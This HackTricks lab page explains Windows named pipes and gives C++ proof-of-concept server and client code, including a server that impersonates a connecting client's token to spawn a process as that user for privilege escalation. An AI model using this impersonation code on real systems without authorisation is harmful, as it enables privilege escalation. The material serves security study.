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189 lines
8 KiB
Markdown
189 lines
8 KiB
Markdown
# Named Pipe Client Impersonation
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## Named Pipe Client Impersonation
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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**This information was copied from** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
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## Overview
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A `pipe` is a block of shared memory that processes can use for communication and data exchange.
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`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very simar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist.
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A named pipe server can open a named pipe with some predefined name and then a named pipe client can connect to that pipe via the known name. Once the connection is established, data exchange can begin.
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This lab is concerned with a simple PoC code that allows:
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* creating a single-threaded dumb named pipe server that will accept one client connection
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* named pipe server to write a simple message to the named pipe so that the pipe client can read it
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## Code
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Below is the PoC for both the server and the client:
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{% tabs %}
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{% tab title="namedPipeServer.cpp" %}
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```cpp
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#include "pch.h"
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#include <Windows.h>
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#include <iostream>
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int main() {
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LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
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LPVOID pipeBuffer = NULL;
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HANDLE serverPipe;
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DWORD readBytes = 0;
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DWORD readBuffer = 0;
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int err = 0;
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BOOL isPipeConnected;
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BOOL isPipeOpen;
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wchar_t message[] = L"HELL";
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DWORD messageLenght = lstrlen(message) * 2;
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DWORD bytesWritten = 0;
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std::wcout << "Creating named pipe " << pipeName << std::endl;
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serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
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isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
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if (isPipeConnected) {
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std::wcout << "Incoming connection to " << pipeName << std::endl;
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}
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std::wcout << "Sending message: " << message << std::endl;
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WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
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return 0;
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}
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```
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{% endtab %}
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{% tab title="namedPipeClient.cpp" %}
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```cpp
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#include "pch.h"
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#include <iostream>
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#include <Windows.h>
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const int MESSAGE_SIZE = 512;
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int main()
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{
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LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
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HANDLE clientPipe = NULL;
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BOOL isPipeRead = true;
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wchar_t message[MESSAGE_SIZE] = { 0 };
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DWORD bytesRead = 0;
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std::wcout << "Connecting to " << pipeName << std::endl;
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clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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while (isPipeRead) {
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isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
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std::wcout << "Received message: " << message;
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}
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return 0;
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}
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```
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{% endtab %}
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{% endtabs %}
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## Execution
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Below shows the named pipe server and named pipe client working as expected:
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.png>)
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Worth nothing that the named pipes communication by default uses SMB protocol:
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Checking how the process maintains a handle to our named pipe `mantvydas-first-pipe`:
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.png>)
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Similary, we can see the client having an open handle to the named pipe:
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We can even see our pipe with powershell:
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```csharp
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((Get-ChildItem \\.\pipe\).name)[-1..-5]
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```
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.png>)
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## Token Impersonation
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{% hint style="info" %}
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Note that in order to impersonate the token of the client process you need to have (the server process creating the pipe) the **`SeImpersonate`** token privilege
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{% endhint %}
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It is possible for the named pipe server to impersonate the named pipe client's security context by leveraging a `ImpersonateNamedPipeClient` API call which in turn changes the named pipe server's current thread's token with that of the named pipe client's token.
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We can update the the named pipe server's code like this to achieve the impersonation - note that modifications are seen in line 25 and below:
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```cpp
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int main() {
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LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
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LPVOID pipeBuffer = NULL;
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HANDLE serverPipe;
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DWORD readBytes = 0;
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DWORD readBuffer = 0;
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int err = 0;
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BOOL isPipeConnected;
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BOOL isPipeOpen;
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wchar_t message[] = L"HELL";
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DWORD messageLenght = lstrlen(message) * 2;
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DWORD bytesWritten = 0;
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std::wcout << "Creating named pipe " << pipeName << std::endl;
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serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
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isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
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if (isPipeConnected) {
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std::wcout << "Incoming connection to " << pipeName << std::endl;
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}
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std::wcout << "Sending message: " << message << std::endl;
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WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
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std::wcout << "Impersonating the client..." << std::endl;
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ImpersonateNamedPipeClient(serverPipe);
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err = GetLastError();
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STARTUPINFO si = {};
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wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
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PROCESS_INFORMATION pi = {};
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HANDLE threadToken = GetCurrentThreadToken();
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CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
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return 0;
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}
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```
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Running the server and connecting to it with the client that is running under administrator@offense.local security context, we can see that the main thread of the named server pipe assumed the token of the named pipe client - offense\administrator, although the PipeServer.exe itself is running under ws01\mantvydas security context. Sounds like a good way to escalate privileges?
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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